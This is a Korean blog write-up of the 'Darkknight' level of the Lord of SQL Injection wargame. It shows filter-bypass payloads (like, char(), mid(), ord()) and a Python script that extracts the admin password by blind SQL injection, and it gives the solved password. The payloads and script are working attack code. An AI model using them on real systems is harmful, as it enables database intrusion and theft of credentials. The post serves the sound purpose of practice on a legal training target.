[Level 12. Darknight] Sol → ?pw=0b70ea1f
작은따옴표('), 등호(=), substr와 ascii를 사용하지 못하는데 admin의 pw를 정확히 맞추어야 한다.
그래서 우리는 다음 3가지 문제를 해결해야 한다.
Q1) 작은따옴표(')와 등호(=)를 사용할 수 없는데 id = 'admin'을 어떻게 쓸까?
Q2) substr를 사용할 수 없는데 substring(pw, n, 1)을 어떻게 쓸까?
Q3) ascii를 사용할 수 없는데 ascii(substring(pw, n, 1)) > m을 어떻게 쓸까?
A1) like와 char를 사용해서 작은따옴표 없이 비교하자.
아스키코드로 a ~ z는 97 ~ 122에 해당한다. 따라서 char(97)은 a에 해당한다.
char(97) = a
ascii(a) = 97
char(97, 100, 109, 105, 110) = admin
?no=1 or id like char(97, 100, 109, 105, 110) and length(pw) > 1 %23
Hello admin이 잘 뜬 것을 확인할 수 있다.
A2) substring 대신 mid 함수를 사용하자.
MySQL에서 부분 문자열과 관련된 함수는 substring 외에도 존재한다.
Left(str, n) : str에서 인덱스 n까지
Mid(str, n, m) : str에서 인덱스 n부터 m까지
Right(str, m) : str에서 인덱스 len(str) - m + 1부터 끝까지
// 인덱스는 1부터 시작
mid는 기존에 사용했던 substring과 같은 기능을 가진다.
A3) ascii 대신 ord 함수를 사용하자.
아스키 관련된 함수에는 ascii, ord, char 등이 있다.
Def : The ord() function returns the ASCII value of the first character of a string.
우리는 알파벳을 한 글자씩 추출할 것이기 때문에 이 경우에는 ascii와 사용법이 같다고 생각할 수 있다.
이제 자동화 코드로 비밀번호를 추출해보자.
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookie = {'PHPSESSID': 'cookies'}
def find_length():
pwlength = 1
while True:
param = {"no": "1 or id like char(97, 100, 109, 105, 110) and length(pw) like {} #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
print("비밀번호 길이: ", length)
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"no": "1 or id like char(97, 100, 109, 105, 110) and ord(mid(pw, {}, 1)) like {} #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"no": "1 or id like char(97, 100, 109, 105, 110) and ord(mid(pw, {}, 1)) > {} #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Giant[14] (0) | 2021.12.08 |
---|---|
Lord of SQL Injection : Bugbear[13] (0) | 2021.12.05 |
Lord of SQL Injection : Skeleton[10] ~ Golem[11] (0) | 2021.12.01 |
Lord of SQL Injection : Troll[8] ~ Vampire[9] (0) | 2021.11.29 |
Lord of SQL Injection : Orge[7] (0) | 2021.11.24 |
댓글